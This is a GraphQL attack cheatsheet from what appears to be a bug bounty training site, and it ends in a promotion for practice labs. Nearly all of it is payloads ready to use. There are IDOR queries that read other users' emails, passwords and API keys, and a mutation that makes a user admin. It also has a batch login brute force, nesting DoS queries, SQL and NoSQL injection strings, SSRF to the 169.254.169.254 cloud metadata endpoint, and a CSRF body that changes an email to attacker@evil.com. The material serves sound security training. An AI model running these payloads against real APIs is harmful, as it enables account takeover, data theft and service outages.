GraphQL Cheatsheet

GraphQL API Security

Quick reference

  • If introspection is disabled, use clairvoyance with wordlists to discover the schema
  • Batch queries let you bypass rate limits by sending multiple operations in one request
  • Aliases let you enumerate other users' IDs without sending multiple HTTP requests
  • Try switching Content-Type to application/x-www-form-urlencoded for CSRF in GraphQL
  • Fields not shown in the frontend may exist in the schema — always run introspection

Introspection and discovery

Full introspection query

{__schema{types{name,fields{name,args{name,type{name}}}}}}

Detailed introspection

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types { name kind fields { name type { name kind ofType { name } } } }
  }
}

Search for a specific type

{__type(name:"User"){name,fields{name,type{name}}}}

List directives

{__schema{directives{name,description,locations}}}

Introspection disabled - probeIf __typename works but __schema doesn't, introspection is partially blocked

query { __typename }

IDOR and authorization

Access another user's data

query { user(id: "victim-uuid") { email password role } }

Aliases to enumerate IDsAliases allow multiple queries in a single request

query {
  a: user(id: "1") { email }
  b: user(id: "2") { email }
  c: user(id: "3") { email }
}

Mutation without authorization

mutation { updateUser(id: "victim-id", input: { role: "admin" }) { id role } }

Access to sensitive fieldsThe schema may expose fields that shouldn't be accessible

query { user(id: "my-id") { email passwordHash apiKey secretToken } }

Batch attacks and DoS

Batch query for brute forceRate limit bypass: multiple logins in a single HTTP request

[
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass1\") { token } }"},
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass2\") { token } }"},
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass3\") { token } }"}
]

Deep nesting DoSDeeply nested queries can exhaust server resources

query { user { posts { comments { author { posts { comments { author { name } } } } } } } }

Circular reference DoS

query { user { friends { friends { friends { friends { name } } } } } }

Field duplication1000 duplicated fields to overload the resolver

query { user { name name name name name name name name name name } }

Injection in GraphQL

SQLi in an argument

query { user(name: "admin' OR '1'='1") { id email } }

NoSQLi in a filter

query { users(filter: {email: {$ne: ""}}) { id email } }

SSRF via URL field

mutation { importData(url: "http://169.254.169.254/latest/meta-data/") { result } }

CSRF in GraphQLIf the endpoint accepts urlencoded in addition to JSON

Content-Type: application/x-www-form-urlencoded
Body: query=mutation{changeEmail(email:"attacker@evil.com")}

Tools

GraphQL Voyager

Interactive GraphQL schema visualizer to understand the API

Cargar schema en https://graphql-kit.com/graphql-voyager/

InQL (Burp)

Burp extension for automated analysis of GraphQL endpoints

Burp Suite > Extensions > InQL > Point to /graphql

graphql-cop

GraphQL security auditor that detects common misconfigurations

python3 graphql-cop.py -t https://target.com/graphql

clairvoyance

Recover the GraphQL schema when introspection is disabled

python3 -m clairvoyance -u https://target.com/graphql -w wordlist.txt

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime